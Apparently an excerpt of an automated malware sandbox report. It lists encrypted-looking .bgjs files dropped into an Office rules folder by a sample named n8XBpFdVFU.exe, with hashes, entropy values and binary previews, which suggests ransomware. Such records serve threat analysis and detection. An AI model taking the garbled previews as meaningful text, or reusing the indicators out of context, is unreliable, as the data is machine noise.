Preview:	<?xml...Q.$....G.Vi;.W.(.}.1O.f...-..XW..{....4i.7AaUM....r.S..YT.^.^L.p.Tr.[...}..-..C'....;/.k.........v..jL]"..$..{...#..l..5.K..b....k..j.L.6..b-.Al<?..w.30..e.k1..6...c_z...Y...&n.B@Y.G<.C.l2i.%Z.ho4-.K>2.K.<.......&M.9 \N[..(............8.vV...n.QG..K\..W.d..."{...-+.kx..i...#.e..ai.+.....\.!.-$.........[g.UJ.%....j.9(;@....Pm(R.&... ......"...j.v.P?0.k!\.T.]...n...;_j..0....r}b@...z...LJ.>..!7i..)X..].ZQp.H...v.99...L[.#3I...@..i....P..F..>T_ :."...\|?z.C........K.R...v.i..I{.6.I.~..U.^..U......M^.nK..M.iR.9g.R...I<.w.n.z............fJ...f.+.......{a[..?..[..Q4..w.-.q......?.`.P.t"...v..6m..]n...1f..<x..,.D.. }#.~.l..i{DgX.t.S....UV...;.....&.#.-.........I..Ez....{.....W........cF<....K. .*:.w..i.rw.c..,yA.Ae....?.z.A..06}...._..2.G...F..[h...?.#.1...6.?o...$u...[O.H..K.4.K...8..!Us.%.62M..m<S...\...../.s<.W!.p.'..^!c....%..S.I..\|.\M.\..dFS.2.K<...h}.Z1.#x.i....9...@oT...y..m..r......qe...%...@..I...lm;......;D.R../..._..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.762542019887073
Encrypted:	false
SSDEEP:	12:L4fnnraCpRiAnvvSju0NtXrrrRpqiqUDTpL2UbyuxHcTMFKMxQrTiPKzed/Wd+0c:8fnriaXcu2tXr/qK+uxQNgQrXqd/WAbD
MD5:	C7B54442B32E9F42086997F6FD5A565D
SHA1:	69A27BC30C18FF9D02D8CFA74AE8A8194545CFDB
SHA-256:	6936CCE3FE82E99B5A38367C78C2814BC8EA08E99666094504F98837A48CFBE2
SHA-512:	78C837827A063AF8778BD791A2081FA8F54808E0628E84D1E245A873E44B3DBED0BF492DBC513DD62F2768C1D04DBA1CBAD8519750CE0556BE782A54DBED7CBC
Malicious:	false
Preview:	<?xml.6..:(]zj?..7....O..I..).8.rsd....J.....D..S.~.....d.....V,=jS.R.(...\|q..(..pp)IO[t.4x....Sr:...-..]Q...m..&......z.....y......m6v.....2.._.q..P.S=....8..kn.V....b(.W}.'.aX.HO.........m..r.5.....f#.]5.......$."*a....5K.<K.Y.]Z.m0W.E"...T....X8.:\|`Z....d(.:.-...<.k.P.......U..%.C.._.c...$..8?..m...Y\|..KM...o.%...S.Zb.G..{...f. y)..n^.....=D.u....b.1.S..a.A'o....0..IS...K....e....Z.....%...7.E.E.&n...~.....V.j.N....z{P..0Y...6.^...ok.}.......=...x..0..y.'..[(.(.af^.u....Iu......\|=.2L./.....}H.]`E_.\n.....6....../.[..2e!v.w.$e.{m...Q.......8.O...S.>..A.8..f...Y%.19...I....;i..m......A9..Se.L1...:Y....y.....NnV.......y.........p_....2.@...l&..$K^D.f8.y.\/o5.E.O.D..[.P]3......k..N/.Z..0X9X$._..O.......:....<...I...:...P<.4O.......cF. .G\.......z....:.A......L>....K.........0.p..V.E....~...9.Wi.\..jSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.775403539904714
Encrypted:	false
SSDEEP:	24:Evuxn78xj9HG+V0QVoY8zK6bhcbIwJ+ZFbD:EWZKB1TR8WShcbIZVD
MD5:	961A6300115218A91A53459583D2B36D
SHA1:	B51E646247F882D8AE39CD27D997E0FB64ABCD1F
SHA-256:	2B7BF3868193118E222D892637D7C7B5087A314AA19F70424B55C3C01E4CFDD9
SHA-512:	165841AA276CEE06AAF542FCC13721811979AB6985D420A98971903206B2B5F0A7FCC63E1D0A6500452AB4623556D65FF0F0F859233E7DC58F88662F084B5F87
Malicious:	false
Preview:	<?xml...C\|)...F.:fi.. ..f.HZ..@tM..G.T.....ak..3D....>et.j....%W&0....&...~...Lv.z..~...m.....#.....t..f6.;.(.l.&l......Tmh.n....".U^S.Ea...W..._........I1d.....&.;H.p.f.[..8[.r(C.fn...q{.... s..^...S...-^.q.)O......q<.....ty\RB.u...2.3ke...(..j.. .....]p\.u.1x..R.#..]6...H.Qa...5.d32..I..dS0.B.f..;..:..N..Mo........G.[ED.<m.G/.d[....;.....R.pI.P....N..y...x^.ny.-C.F/...'Z..1K.g.).g...t..E1..wi>x..E..R."z..Q....o._).>..(F......f.`.V.2.h.1D.,...).hN.c......a9.Y\|..fI..^.d.Osu{.m.G.......r\|.........q3...N ?...y.......NPL_...g6..~...G...4W.....<.....l.m.^le...zzF....>....H{.<.....O..D8,{.lG..D.Y.....#.<..=.=S.en.2....hf2f...n[E...^j.J.g...g,-.a....I...\|~..I.\..".==u.2.O....7..A)...C=..bM..8K.s.p>'....#2........t..F.,.:.R.>.....8F.0.B..y.Of...5..G%....*H.h....o.....`...YTv...5.%.9.I.OY.@......Y..k...7.....\|....#...)FX(..1..X]....u...0.L.I.<.{..JJSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.910549121423537
Encrypted:	false
SSDEEP:	48:9Pd6ZiYfKJF4xMzDm9IJsnYSKMIC4trUfcqSHvy/Gur68rVrPrhD:9F6ZidP4xMzDm9IJi3ytQkqSHvy/FrlX
MD5:	D3CFBA40CF8527EDCF32B425EC67C2DE
SHA1:	233664CA30C2B557AFACF8FFA917B946625B2721
SHA-256:	13A810C6C39BB33CF765212351B59D50EE4D2E3332FEECE7EC35C9E81E6CA01C
SHA-512:	8C4DE53DF394EA3B28F76A762CB9494AD65705021A24690E01DD47A3E29E1F125CEFE840259409940A4D86589B0C633A900B713FB711F5FAB1C7A034481003FC
Malicious:	false
Preview:	<?xml.6.._&?xW....U.2".'....6f.-.+R.)s_v.}w.n6U....AY6.....A..5..F...KO.. ...L.....Z@s%ke...A..P.%&._.r..a.d...9.,..@~....@oIa...I3&..ve..fc~..,L.c..o........%...F.....L#..~.^.I...I7k_.....i...dq.........^.S\|.....y.,d......wbM-.$FQ.?...7.P..k.a.t .64.trtjRC......}3..................H.E^.A&...3.[.!.l.'.U...I../.-~.r...2 gl.K.7~xW...).c.-y.....l.3l...U..:..i.........T..6W..2....'.....\.R..S.z%..S..#.....HT.." .U..3.!G&6K...o.+...?.A..e....'...~.. ....n.OH.L.F.4..q.IG_....:.(.+.........y.,.R......5^..vU.r.;Z[l..p..M[g..\j.P^......'..n}q.W..!\|.._..pJZ..?......<:o..e..3..1k[...f..%.{.1D...o...5..@...0Q..@..q..:e.<....`..-2....k`...+U..x:.trh..2~jOZ..n.Y.u.....l.......>...I...s.S........;......!Z.....eyS...jQX\1&..k>...%.4...l...x.\...p.&Z...d..%_1.{...KX..i...I?...~.4.+)8..'.y...C!..i.5...JG.....w.....h....H.iB........D....8%n}.{.......g.\(. U...?C`...?....}.h.....C=..K.%..8N:Mk..%,.}..fA3s.m......-..KEc.1..U.....7..;Z./...y.Q).-)f_......S...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.889802737729627
Encrypted:	false
SSDEEP:	48:oscrRC6z9+85nFukg47lRqNFvNwAuhZX8oD:7uXzsmnckVHqNFbuLZ
MD5:	9EB7EFA6E64794D5D00F7D443849B9B1
SHA1:	28A7587936A914451DB31BF02584F82B448B43EF
SHA-256:	AEC13323DBABB504E4DECB3C52A395A66ACFE0A8C7CCCE1A21B889E25691E532
SHA-512:	75F3E071A15A7B345A0DFCCE0D2B5CFBF78129CCA588030705668E3EC66F1118F12DEEAC1E0527A2D791C5570450129594C6935EF1D768EE2C811820EEAB0F3C
Malicious:	false
Preview:	<?xml.C........;\..(J f.].).Q....S...&...w'..(.MK..P..X....P.A.........)N..2.-..g1.Z.:..B:....,J.......6M.............8.EM..\|Isp...y...M::"p.Vr,A..#h.6....,....w.>...M.....$....%ap...;.....U....."["[....HE..(.....HVG....f2=.`.....>.Q..Cjy....q>...(...9V&!15......a...w.......!...^.ON.G......."...m.^....1_...++Oj.N............f.U..`i_.t....MP...5.j......0."..~..v....s...f;.^.....).f:...p....rEK'....H.M.+G(....f...J(wbB.`G...I..#....U..F........c..AD\.$..j..G=(5.\|.p.8I......F..Kq..4.R...1.U_\..a_>...uG.&..g..M~\|. .nbY:..../<.....Z../.8.+.B.k.yv!..l.\|.U.a.(.u.v.se...{.:1~........sL.^..x%O.U..R..D...X/nLK.d..J...@G....9....LF.c{.7...m.!.;t...t.bk(.a.....@..:..>p...x..~....5<.SI.'.8..6......R.Vz7..u..5...`..D.V&].b..TP..;.)]F.T.....q...]f.\......+.I[/._.b..<.ak......xrq.!O.p3....[..z.(.....^..'Q.O/.......BS..e...../.$e7.^.r~6b.....U.".0=.\|..pO....6z{\}.+.UPG...."..s{..<q@..A?jh+.0..........z...<..i.z,.m...H..f..[......K..?.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.731404788197705
Encrypted:	false
SSDEEP:	12:bW9X/ch+bKlKlUmUuucSpnaJ18TlUk0DwJ120zlR1VcV0g2m6O1BIR4cSPBvAH14:bUNbQKO3ugJQ18T8C1F1ueGBs4cSP9bD
MD5:	DBFFDE992B37C96ABED251D112DEDCE4
SHA1:	C5D7D0E121A593ABEEF3882D7188F8FC05B35FD8
SHA-256:	928DA8EC6B69075F9681D42B85B322B73C91868AE716383F26A035031C19D331
SHA-512:	293A884D7DF631DAF85CB16C50A6689BBA8F560782221BB63C6F1356B1F063AB89F9E0D5A847EFB0B5110729B6A6A7728B2EACE6383131BBE1BE82036A75711A
Malicious:	false
Preview:	<?xml...E.$..VTz....q......6.M..6...7%...))..Q.k..Q..mK9M....4I].:\|.D..z.....oF.3..Z....?BQ...\.mv....O...B....#>7&.z.H$..n.a..D.......?..C..P..."}-.?..;......Tsv.....K....58";....T.\...g}../....z..~.....i].=<..I.BWr.+.].}GK...J..D....)..F._...b@a~...i...M.w.(...........[....H..k...}....]0G...i.6.fiU.K.~[D1u..j..V.X..6....H#y.7..-.J9.!.^E ...g-..&..z...3..nu.6....1V....xl..l.m.. n.9$...0.c.NB.`...b-../O....).Y...T...._...T..U.dI..Hu./...a.B.qu.X..`.QN...T%..2........U$k....D...ig.F.q3]0.&.M..0.....;1.o..M....T.IR.bp....T\-.....`t?G......c .=!:).i....#...;#K...>.....u....x...#..8...I..&.....B.....6%7v_.z..[.l.X;i...7.....o.]IlE.2.Wv.-..T....uN.a.g;:~.4...r/.#...~..SX!...=.t&.TU.\|.=...{..KU......k.....6..8.. .V.'GL...'w.8(.AA...).[..7?O.oe....'iUA.u..\.....~..6..z....*.ya..`9..\|(..-...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.813454489628152
Encrypted:	false
SSDEEP:	24:rO5KjkLMkRkmFRxgqRgBd4/yCzl9XSTUSFbD:q5nLMFmfxgqRgBd4SYcD
MD5:	90EB08AED072FDC51DF47FB2DAC75FD1
SHA1:	2F1EA87EAB9438379FC399EC32F6D23E3C33AE0E
SHA-256:	EE35527BC76175969CC9E2346811510CCE162F8931E4A61C0BB935C06E7EBC23
SHA-512:	6EF348670CD2D672CD1CF646E0597DF778B65D7A0CBEB9F5A75D63E5B5C8D7AC2CBE0F7601E27A0778E0F100D501808E302E22872D363638F5FBF932339436AA
Malicious:	false
Preview:	<?xml..#..).$...s/.R...:/....B.m.l.Nc.b..+.N.........S...Wi.......I...4....1.Y.=..4..OZ...r..@]k..5udEsa.k1..8...{..lh.......pz.......d.\.8.$`.m.....y......O.l........t....]....-.J....8.r.......gv.s.......-....!.a ........j4.O...r8P.!..p.......^.>%.t....~&I.f...U._6.%..$..AIjx.L:K.-.sW. ....'sf.J.........`._.......q..Y......O7I...qVQ........M.\'..c%H..C..0..A"..c...HK.#...........u.sb...2...E...j.=...NP...6..7.Lf.*/...W..G....pG..wIYRlX@K.=H._..%..6..H..?Y.5#:z..>..E...`Th.r..2B...H..)A.c..<..l.}r../U..J......E........%....w.J..X..~.!u.m7vvh=...L{.wx.....,.\|g..M}h.j.h........2.....7...8w.s..E.!"i"........TAg+0....lT.......e.......n2.S.2....()Z...i..@S...'.N....8.\o.z.X......t.^1.?.tQ.3..0.2.` ........:.x..%.....0h..'...<.a...}1DaC.......d......)....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.784406025589611
Encrypted:	false
SSDEEP:	24:gKdGW4knd+0E3QZkAZT+YTTjmT9iEMwtJVSsbD:gKH44d+T4kAZiYPjYptJZD
MD5:	2A3BA1DDBE44E48F6CBDBECCAF1E1EDA
SHA1:	35F54EB6D49D128C4C1CEF779C0EC93C5340B262
SHA-256:	2E730A78A29D51CC5173D034B4714C3B750045B983486C8B0871D10F09C754BF
SHA-512:	6466C1C4C48473162DA7AB8BAC186B45E506CED060A6CEF6297846454E62E1E764948A27D97CDF6A2F820E3ACA1A4E1D93EE85961DD26930CDD8DC7F7A14D8B2
Malicious:	false
Preview:	<?xml...Xt0.&C.~Y;s%^.Z._..s}...{..$v...W..K.............<.3.u..\|feQ..&..wCH1.G.;y...%...].9......../\.[....#..Z.L...@.>i....2x.=.0....K(-...A....z.g.[...P.M.~......V".p..\.0.,2m...]{..Wt....ck.+....=\|dlT0.&..h.A......%.....}....TCq}L.].@.-...\{.s. ....;t..P..p.+?G.BCnL.7N...}O~EV......T.X......Gy.....{....u.D..hVMP.5U.....c....0c........}j..+g.j.8..\|....D.F.>o...a...P(\|..."..Rx;.=.............ON._......N./..t...>..@1...K.H.kE.i[......l&.....Q..6=.d(.X...k%..m.Hef.....\m.........:.t....2..).../.e...S.e..<h.d..I.w.W.q2.u....c..~..B"..s;.......(AB.... A/.......0.V....6... >./.....\.p$.....mv..o.D.Q..X...b<G%.,.ugv."O..@.8@.E...V....6V.....@..5+....W...7Q^N.v}c..........,.....;p6c...hI...U...^[Bw...o..B...C.&o@~H..z0.....v..{R.*.Uyp.I+4..q....Cd..xl.T.3.^,Z.....~...f.)8zZ0...Hy....8uL.AZ...sf.-.....{,.....d.@k).J.....\|.$...8.......L$.m..=;..q....6SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.681258083215325
Encrypted:	false
SSDEEP:	12:y5kRJqS7j2po0P2y95qfW33QQHYyLxpggGItSTHudmaSoDlVHHZ/+OiOyNno9f14:y5MJqSv2GE90fW33QQHfkgzSTHudmzWG
MD5:	0DBAE158F5DA79674804CBF2B73E17ED
SHA1:	B888B9B3AA0CA1C043E9D59F4198320F747C7EF8
SHA-256:	9571574A426AB1505C51435F9DDC27B3B595E43B0EC63823E397821DFAD5B9C1
SHA-512:	0F1C506339442EF62EBC2F1CDC25C51A9AE7FEBB50CE628A70686DDABB818FCD6FD20E1AA341AF908C921951E9720FF067BF4405D945038225DF3483FED05602
Malicious:	false
Preview:	<?xml....-.=,(f.3MT.Gg.7.I.'....l............H..IO..>[SH..:.A...).."....+4..?0...!.D)....rM~N3me.$.\|K.8k.j..j9.h`w....M.<..p....n...rEg....>w^"..........o.r...."t....W."q.c.u..D1....\|2...@...x..#.I.t..<....k...e.i.,.O.Qz.....$.s.C.s.t.~.f.u&..dHCx..W.. ....." PN..,E...L.c....U.3I^<........?..&.B..W2..:..N5N.J.d...0Qg.pv.sd'\|...... .BA.....H....V..u....L..1.^...T.u..w$..........Cc.....d.....Z..../$\|aMZ.0...x.u.@...3...)EsK.....Bs.l.5S.e5.tEcLv...!4.J..H..}.;7....6r.M:..f..W.EK'A...<.X@.!@.......8.(.ty.`.M.0,c+.n..._.H3 ........E.......x..F...-...u.........\.W/...h....B...........Z.Z..M.c..P..p. ......@....7SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.780128050009943
Encrypted:	false
SSDEEP:	24:b0QTYFaQqCTI+CxquDxv9RDClfYuuCYaNoLBHFqAbD:b0QUDqYCguDl98uCYGoLxFnD
MD5:	E79E35B08DC8F6DA105AAC7478FA62A5
SHA1:	3C7012B11AB75365528A55749976743AE493B0AE
SHA-256:	5192AEF33F39B95AB6F89E22DF8D53F20DEDC0EF0E6F2C4CB7F96C4ECDC617D2
SHA-512:	DBAAE9DB7F668483712070C36A58F809D1D2DD9224A2F1B87C1A3CFBDBF69266D5A0B153BAE569576BE30C50DE03162E62442B236B22DC273429C2ADD9E4A4DB
Malicious:	false
Preview:	<?xmlX6?)...8~<.>yY.$.h~\2q.Z/P.S..._..]$l..M...OtP.....k ....73.F.y.#....b..lv.H.S....U....ZA.DK....&..x...8.Q@1a....K..1.-0..6.Q.!....j...j.r.]IWn.].b....!....?..1W..`.I.k\.1..k..id.GW.y.q.....`r......;3..s..,.b+o.. .P...z..gh.........S..>6`...X..wJeG.a.-.,. T.h.F.UN...W. JS.@9.J5E..~V...R....q........F8?.w:t.uS$.{A0.N../....]......c......b._.......l2.K.V:n...T...%..W4.{..e.2..IY..`....z7S..YA%"...o...^.>W.3e...\|.if..%<RA......'.f...6.=....^...'%..?"....d../hp#..+ka.F...a.LS..mg..2.\...[F<...eG.x.....T5lp.&.l^.t..`.0O...{...)...C.....W.q.f.<...d_....q...^.Be\|l.....1.b...}..%y1.Q'..t2G...0:X...SJ.&.iF.S...@Q.%.ze.....z..Q.......h.....<...E.h.HSL...%#U.P...\......Y9....R.6.........=.M..fH..z.F..MI..!.#..0&f.Ki.C.Y...Z..F.g2..h..!...'....E#."S..z.u......H.I.~..I.D.u$TH("...UkbAt....Si.......&.c`.o.m..$Wq[...........!..o...Q......{.r9..haLf!.ri9T..97..A%.Z1.3_.... .....-..- .q\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.812394481749052
Encrypted:	false
SSDEEP:	24:XqdRC1bMhNyKAgNJRwJAJAKLtvwVN0WwzBi+KqbD:Xqdwb6UWNoVN0R5D
MD5:	AA855864C8881AB7F0B42722115B7CC7
SHA1:	392F2A5763DF52D1A25364BB1BEAF8DBEB6D39F4
SHA-256:	6AD7172EC4581547D21DA78E8FE83CBBF66450E714956C4097D12D99BBEEE8B2
SHA-512:	64F1A83BE912F3BE9ACEE5D03E28F5FA3FD25B163306CE46D366E0927D39AC474B14185D280C6791909007F69375FD51FF95B95DA5123FEFF61D92B40459DCCA
Malicious:	false
Preview:	<?xml...BC...Qe.I4.z.....O..#.Q^.[v_&..r&>.......r....&..=.../.).m..+X.)).u........h'0la..@fH.f).SPx...{.Q.........}...y...2...m...D...P.Rz3.".......QO..z!\.ON"&...Xq.....Y5....$Op_..~.qz>.a...-.(......glt(.R.K..b.j.O0.?.i...a...E.q...S.FB..)..M.......... ......3.h.L[.D.............Z..>.H..."..X5..4.J......].Dj:....."..+..5.X.!..j..:......rhc.N?.q..6..D...s(...%...hr..~'../[........`7...?.U..H.,..5...T5.2.I...4...\..Ph.v......c..Z....u...i?.....?_....T....Cc...%...LB.\|%3...[pl....Kum.B.J[N.\|J#...Tb..QtJ_...ZV..ne..[ExN...fZ\|A.GR...pL...C...%.U?..L6<o.Y:#...^\a.^......y3{..e.{..4Z[.....h\.'..O.....A~...$w..+-8...s.....=..L.prf...0.3<\|.AwmrJ..2I..".(g..3.....o..NA9..\Y.B.o..?..@....&. 7.+.......:....!TI...%..8t...8v.W......!m...x.W.U...&..,r...tF:Z...8c..n!....QW.....U.Hu..eNm..no.y...M..H.[.r,,).]...v.Oy'..6.+.i.....<....a..p.n)Yr..H<v...WV..#..#.....s%<...W..M..36...b...FR.lV....B./.b.....){0.B......@....r.M...V......Bms.x

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.8786339573695985
Encrypted:	false
SSDEEP:	24:oOvsgRD1/REewUyOnE+qipo8Rh2jkJR0Ae3Uhhywvp8EdrwXbD:oOvs41Z/nWipwkL0YhhlR8DrD
MD5:	3E7A147DFD5B70C7B756669F9B12A7A9
SHA1:	F02AC77191FDC8F55A13697839B52604830F2DA6
SHA-256:	679039F5E24A263F50D1E3C1A6381C2F7D52BFB54E72346829E2714843D7B088
SHA-512:	9F6AD3EE2AA3C9FBE6CEEF7BE5EA1EE023ED4D4CBEB7BA3242E68C620131423FD64033B55182B5EA33BECE053C04056072C8E62D2F3BC12EECED7E36D565F0A3
Malicious:	false
Preview:	<?xml..g.......x...^&cv...Y(VT\|D#.(F..0.W.'.....2..d...\..28M6.....Q....BG.Y(...F.W..rV......".6..&.?z..` .j........u.......x.....pG...P.(.e>....8.k..C.H'.A.yK@...KB-.!.MHe._.{.Ck.40.4..j.q.sz....r..% t..@.:..'.y..Z^'-Y.^...n.B.hR....E:Xm....a.{=..V@F..2)....ug}.. ..U...G...W...'......q.XG.'.6....t.x..D.P...gc)......b.g<...1.....<.1.iV.......>..m.Z[./v.).8..v..N...J...].......YI...d...\..B......(.N..H.S......A.$.y.. ....TL..VG.....7./.6..i.6;..-n%'.I.G...E...g.A8.D5........p.\|(....+.^......#.l.b.{.[..0.....6Y.0M.Z..fK`P>;+..C...i.1=.......Tt.R...Wg...g.....W.7....,..F..R.@.u.3/.a.....b..6.....v(p.=q.U;../.2.. j,.b....A.....K..l......P.J...8.....6F..........w^$.-....L]F..(e....".H..{......A.E.fkbY!...GXLG..2...e..q4..:_>. ~+.t.c.Y.d[I1.\....bA}..Q.G.tI6b..un...o..R.x.v..;;Z._2...00..%....s....Fi:!..R...........<....or.X.?{.....0...........q...^..?P.t.!.l.4..?.X...."-U..~.V..FV.........2..p.V.3{..@.6WT.3B..0.P)..>...PO.k..Q.S

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.850199132621275
Encrypted:	false
SSDEEP:	24:PDPiB6lb4fmjaZw8HK7AJEPNmrruqhYn5mrTbD:PbiB62kaZwp7PFBqhVrHD
MD5:	F823CB928ACB37167D80F5F7F296F0BF
SHA1:	EDB198FB88C941B6193FCB7D35BACAC2BCA3F91D
SHA-256:	5AA88D488240C5121136A23B7C1891EE0D06066A694CAF295421A62688E0E32D
SHA-512:	FD8E397BEA14D3610F2EB73C21D835AC40AC760854C90BFF31854C70A6C13EF10392EDD8A17196B49F2018030726E327032F5146239C97ACE03B3FF7D8C9A9BD
Malicious:	false
Preview:	<?xml..x..........W..b.6..H.Or.up:>E..o...&..j..n...D:E..v..N$..uP..M..&Ra.^.h....xd.Ns..@.=X...."&.+...d......XoAs.Zu.....j..........O....Q.vag...M._).>....`..........V..B(^;.....(.a".h....KlI.....mc.p,.q)..=.:.....92.d...q.....,6;..r. .)+..S........Q...w......ov...8..7.._.%.......}#.y.;..zz#....?..4$..7.H.#-C.$........\|!.....M....B..I...i..1.8&.'.lq4e..t.................<.....h..<.Z.Y..q"..<E-d[.b.n.`....D]..~..............4..R...sP.5.@.....y...;g..5....QC.....[~.e#...zv...55..k.F...-Y...."7.Y=,.'.GZH=..\|......m...t....1.>.n-@......:.{..........yK...kwDOMXL.!.EHv.......LQ.>....(.........3b...s.?.Ad{...l2!r.h..&.9. .W#.............%I......]V......0."...P.....t.v.C{.....l..{......d.-._@.G..\.D)..d...^..9..Y.0.,\|[//#....S.-....9...a1?......T...v4...R..xha.......^.[...Bt'..e....WO..1...dz...0h....@=v..5f3Y..@..P.c.w.....B...F8.#.F..o..J.&?..r.X....qv%"..O..g...T.a..W....+..'E....Hb.:...;.n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.753351515256748
Encrypted:	false
SSDEEP:	24:7dnLwn8xdMV5AttzzzCLrF0sdRfEN9hTJhyDbD:zdMV8tzzwrH38lh8D
MD5:	3E0E947D28E27F7F6FEA8AB17EFDA090
SHA1:	B2297C0D540CC01F557272C60C36315B3D3E54EC
SHA-256:	EDFDB90B0DB2F119431875E7CB117AB0775DB3849CF99F8415BB2233242E4EA3
SHA-512:	D64AF633A63C8679A1571038CAB213CA840E7977B3B4A9349569E407C984B2B5EC3F8DB0EDA0680CDA12BECAB75F31237CB4018BF9B772455752864DB25A7F2E
Malicious:	false
Preview:	<?xml..E7.j..{5..(..#.>..5q....j..%N...._~.......F.GA."<.?4...=.`o..3...`....q8.....O.Oc.....M.#$.j..cF...?e.v..?..v...U.Y..(S...>].Q.$....D.4#o.Z....y.D.d..rh5.a.\|r...B9d...y..c..R.s..e..QL...v...i...t.+o.k.Iq.Ra.4.Lqd.E..-Nru.?....v.W../.L"a.vK\.U..a.....n......5.............G-.......Oz.r.z...i..<..w.^.a...:q..._..hnP.g..J...3.......f#G..A.{E.J..@..0s.....u.....E.:.)m1.AZ.I.b..u..y<.....w$IA3...`.!@\..8..t.)...D....._..s.x...s........v...cw..4Q..{G.`....-.2.n...5..g..L.j....V.).z..,.`...)..&.T.N..#....f@..Sq.2g..(]....'ZP(...!...GW)4.Je../.......V..T.a7............{..Z.`mw?.N......4.....r.j..!......zB.7..."3.PK(..m( .....u..M.v..wt....\.P.d..6.1R...".`.......q@...,$..QM..E.`.=n......hq.....L..\|Pe"1.k.G..).0v......>"._.?.,gD.E..C?...?'.......A..F)."..x..D...h..\5G.X. .?....P.NU.._j..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.719758910903883
Encrypted:	false
SSDEEP:	12:Ul7QIYc0bEvHAr44N7qga/7zTgv8WPMiMV7AtK93rMYT7vrSrro1+cii9a:Ul7nYc0AArR7N47zTgvpPMieAta3bT7w
MD5:	68F1AAABACA1BF2ED0CAB656FC34585B
SHA1:	1447669C0A79304C6A0ABF779F32E8EED59D0333
SHA-256:	58DDDC30F21342ED46D32F4E415C7CAE009317CC06E31EB24519EB96235653DE
SHA-512:	8AF3D14EB16760C75CB0A7A793550938EDF463134FDE877C1752978CEE8CB8BDBDDD1605FDB1F1A1A8D0B820B4A2E8666709EE80144F14F5C11F77D556375A16
Malicious:	false
